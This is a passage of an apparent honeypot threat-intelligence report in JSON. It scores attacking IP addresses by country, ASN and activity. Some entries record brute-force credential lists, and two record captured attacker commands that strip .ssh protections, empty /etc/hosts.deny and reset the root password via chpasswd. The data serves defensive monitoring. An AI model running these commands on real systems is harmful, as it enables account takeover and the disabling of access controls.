      }
    },
    "113.215.222.122": {
      "attack_count": 2,
      "first_seen": "2026-05-31T16:30:15.506Z",
      "last_seen": "2026-05-31T16:30:28.458Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 24139,
      "as_org": "Huashu media&Network Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T16:30:15.506000+00:00",
        "last_seen_30d": "2026-05-31T16:31:33.039000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.220.154.55": {
      "attack_count": 2,
      "first_seen": "2026-05-03T07:36:51.881Z",
      "last_seen": "2026-05-03T07:37:04.568Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:36:51.881000+00:00",
        "last_seen_30d": "2026-05-03T07:38:13.865000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.93.84.187": {
      "attack_count": 2,
      "first_seen": "2026-05-06T10:21:33.102Z",
      "last_seen": "2026-05-06T10:21:44.994Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "New Zealand",
      "country_code": "NZ",
      "city": "Auckland",
      "asn": 9500,
      "as_org": "One New Zealand Group Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:21:33.102000+00:00",
        "last_seen_30d": "2026-05-06T10:22:52.341000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.195.95.131": {
      "attack_count": 2,
      "first_seen": "2026-05-23T22:37:09.634Z",
      "last_seen": "2026-05-23T22:37:27.261Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Chang-hua",
      "asn": 38841,
      "as_org": "kbro CO. Ltd.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:37:09.634000+00:00",
        "last_seen_30d": "2026-05-23T22:38:33.174000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.108.143.238": {
      "attack_count": 2,
      "first_seen": "2026-05-23T21:55:00.711Z",
      "last_seen": "2026-05-23T21:57:00.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Ap\u00f3stoles",
      "asn": 61490,
      "as_org": "Cable Norte Tv SA",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:55:00.711000+00:00",
        "last_seen_30d": "2026-05-23T21:58:41.394000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "149.100.146.64": {
      "attack_count": 2,
      "first_seen": "2026-05-16T17:40:33.951Z",
      "last_seen": "2026-05-16T17:40:46.708Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 273039,
      "as_org": "Tecnologia del Presente 18, C.A",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:40:33.951000+00:00",
        "last_seen_30d": "2026-05-16T17:41:52.180000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "151.50.125.184": {
      "attack_count": 2,
      "first_seen": "2026-05-09T18:06:32.843Z",
      "last_seen": "2026-05-09T18:06:47.266Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Bari",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:06:32.843000+00:00",
        "last_seen_30d": "2026-05-09T18:07:54.243000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "162.216.150.17": {
      "attack_count": 2,
      "first_seen": "2026-05-21T08:17:37.565Z",
      "last_seen": "2026-05-21T08:17:47.371Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Charleston",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 27,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T19:33:18+00:00",
        "last_seen_30d": "2026-05-30T13:40:30.310000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 12,
        "Adbhoney": 2,
        "Cowrie": 2
      }
    },
    "181.118.120.193": {
      "attack_count": 2,
      "first_seen": "2026-05-04T01:50:59.641Z",
      "last_seen": "2026-05-04T01:51:12.390Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Viedma",
      "asn": 28075,
      "as_org": "ARLINK S.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:50:59.641000+00:00",
        "last_seen_30d": "2026-05-04T01:52:14.645000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.218.49.1": {
      "attack_count": 2,
      "first_seen": "2026-05-06T18:46:37.564Z",
      "last_seen": "2026-05-06T18:46:49.908Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Garc\u00eda",
      "asn": 265594,
      "as_org": "Television Internacional, S.A. de C.V.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T18:46:37.564000+00:00",
        "last_seen_30d": "2026-05-06T18:47:57.558000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.189.184.143": {
      "attack_count": 2,
      "first_seen": "2026-05-04T13:25:49.964Z",
      "last_seen": "2026-05-04T13:26:03.133Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T13:25:49.964000+00:00",
        "last_seen_30d": "2026-05-04T13:27:09.890000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.113.64.10": {
      "attack_count": 2,
      "first_seen": "2026-05-05T21:34:15.924Z",
      "last_seen": "2026-05-05T21:34:46.693Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "W\u014fnju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:34:15.924000+00:00",
        "last_seen_30d": "2026-05-05T21:35:50.906000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "37.186.114.123": {
      "attack_count": 2,
      "first_seen": "2026-05-09T21:43:19.664Z",
      "last_seen": "2026-05-09T21:43:50.874Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:43:19.664000+00:00",
        "last_seen_30d": "2026-05-09T21:45:01.820000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.56.20.112": {
      "attack_count": 2,
      "first_seen": "2026-05-23T07:10:06.629Z",
      "last_seen": "2026-05-23T07:10:40.589Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santiago de los Caballeros",
      "asn": 271989,
      "as_org": "WALCOM ES LA RED WMPP SRL",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:10:06.629000+00:00",
        "last_seen_30d": "2026-05-23T07:11:45.285000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.61.199.196": {
      "attack_count": 2,
      "first_seen": "2026-05-10T02:06:58.947Z",
      "last_seen": "2026-05-10T02:07:11.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "La Guaira",
      "asn": 272122,
      "as_org": "TELECOMUNICACIONES G-NETWORK, C.A.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T02:06:58.947000+00:00",
        "last_seen_30d": "2026-05-10T02:08:14.783000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.156.129.62": {
      "attack_count": 2,
      "first_seen": "2026-05-20T07:09:28.251Z",
      "last_seen": "2026-05-20T07:09:28.252Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 68.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 17.5,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 21,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-10T22:41:16+00:00",
        "last_seen_30d": "2026-05-30T00:26:16.754000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 11,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "45.170.158.197": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:47:07.469Z",
      "last_seen": "2026-05-02T04:47:20.322Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Quixad\u00e1",
      "asn": 268163,
      "as_org": "OBALINK LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:47:07.469000+00:00",
        "last_seen_30d": "2026-05-02T04:48:24.202000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.64.233.243": {
      "attack_count": 2,
      "first_seen": "2026-05-03T20:18:00.262Z",
      "last_seen": "2026-05-03T20:18:17.582Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 18429,
      "as_org": "Extra-Lan Technologies Co., LTD",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T20:18:00.262000+00:00",
        "last_seen_30d": "2026-05-03T20:19:26.854000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.91.137.170": {
      "attack_count": 2,
      "first_seen": "2026-05-11T12:24:45.338Z",
      "last_seen": "2026-05-11T12:24:57.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Qalqilyah",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:24:45.338000+00:00",
        "last_seen_30d": "2026-05-11T12:26:05.036000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.3.226.57": {
      "attack_count": 2,
      "first_seen": "2026-05-28T17:57:56.216Z",
      "last_seen": "2026-05-28T17:58:08.380Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Croatia",
      "country_code": "HR",
      "city": "Zagreb",
      "asn": 5391,
      "as_org": "Hrvatski Telekom d.d.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T17:57:56.216000+00:00",
        "last_seen_30d": "2026-05-28T17:59:16.996000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.196.152.21": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:50:14.243Z",
      "last_seen": "2026-05-23T13:50:14.490Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 174,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T04:56:21.039000+00:00",
        "last_seen_30d": "2026-05-31T12:43:50.607000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 148,
        "Honeytrap": 24,
        "Cowrie": 2
      }
    },
    "213.209.159.56": {
      "attack_count": 4201,
      "first_seen": "2026-05-02T23:25:49.247Z",
      "last_seen": "2026-05-31T21:39:31.830Z",
      "sessions": 468,
      "ports": [],
      "usernames_attempted": [
        "abbigale",
        "abner",
        "abriana",
        "adelina",
        "aida",
        "ajay",
        "alani",
        "alanis",
        "alannah",
        "allissa",
        "amaiya",
        "aman",
        "ambria",
        "amethyst",
        "amia",
        "ammon",
        "anai",
        "anakin",
        "ananda",
        "anastacia"
      ],
      "passwords_attempted": [
        "arozel",
        "abbigale",
        "abbigale1",
        "abbigale123",
        "abbigale1234",
        "abbigale12345",
        "abner",
        "abner1",
        "abner123",
        "abner1234",
        "abner12345",
        "abriana",
        "abriana1",
        "abriana123",
        "abriana1234",
        "abriana12345",
        "adelina",
        "adelina1",
        "adelina123",
        "adelina1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5616,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:25:49.247000+00:00",
        "last_seen_30d": "2026-05-31T21:47:42.563000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4201,
        "Suricata": 1415
      }
    },
    "130.12.180.51": {
      "attack_count": 537,
      "first_seen": "2026-05-02T03:44:16.656Z",
      "last_seen": "2026-05-31T23:07:42.782Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "orangepi",
        "admin"
      ],
      "passwords_attempted": [
        "password",
        "root",
        "P",
        "orangepi",
        "Security",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.file_upload",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 65.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.5,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 708,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:44:16.656000+00:00",
        "last_seen_30d": "2026-05-31T23:08:48.688000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 537,
        "Suricata": 171
      }
    },
    "223.11.60.121": {
      "attack_count": 486,
      "first_seen": "2026-05-21T06:42:58.199Z",
      "last_seen": "2026-05-22T09:48:17.545Z",
      "sessions": 243,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 749,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:42:58.199000+00:00",
        "last_seen_30d": "2026-05-22T09:49:18.634000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 486,
        "Suricata": 263
      }
    },
    "173.10.13.21": {
      "attack_count": 309,
      "first_seen": "2026-05-19T07:50:25.971Z",
      "last_seen": "2026-05-19T08:08:04.654Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456ll",
        "1234qwer",
        "234",
        "CHINAIDC",
        "P455wOrd",
        "carter",
        "claude",
        "eversec123098",
        "farid",
        "hd123456",
        "jupyter",
        "mailman",
        "mountain",
        "password0000",
        "qwe123rty",
        "server01",
        "tahir123",
        "telecom"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:F4J2f7wLZGe8\"|chpasswd|bash",
        "echo \"root:fY9kmWkHzeIq\"|chpasswd|bash",
        "echo \"root:iB0WAbDzMAs4\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Stockton",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:50:25.971000+00:00",
        "last_seen_30d": "2026-05-19T08:09:08.877000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 58
      }
    },
    "57.128.214.238": {
      "attack_count": 276,
      "first_seen": "2026-05-15T01:37:30.962Z",
      "last_seen": "2026-05-15T02:14:43.607Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "brengoziscute",
        "devops",
        "fecjl1yg",
        "g9q7jreo",
        "github",
        "koha",
        "linux",
        "mehdi",
        "oracle",
        "pakchoi",
        "sun",
        "ubuntu",
        "user",
        "warnight",
        "xhl2g06n"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        ".GxRJez2m1MHgY2j4lgG",
        "0day.today",
        "123456",
        "123QWEasdzxc",
        "1qazxsw2#",
        "3sScGbQLYlTZvYdQqsZA",
        "Admin@2023",
        "Hj@123456",
        "Kermit123@",
        "Qq@123456",
        "Qwe123asd",
        "Qwer1234@",
        "Secret123",
        "Yc@123456",
        "Zr123456@",
        "devops@2026",
        "koha"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
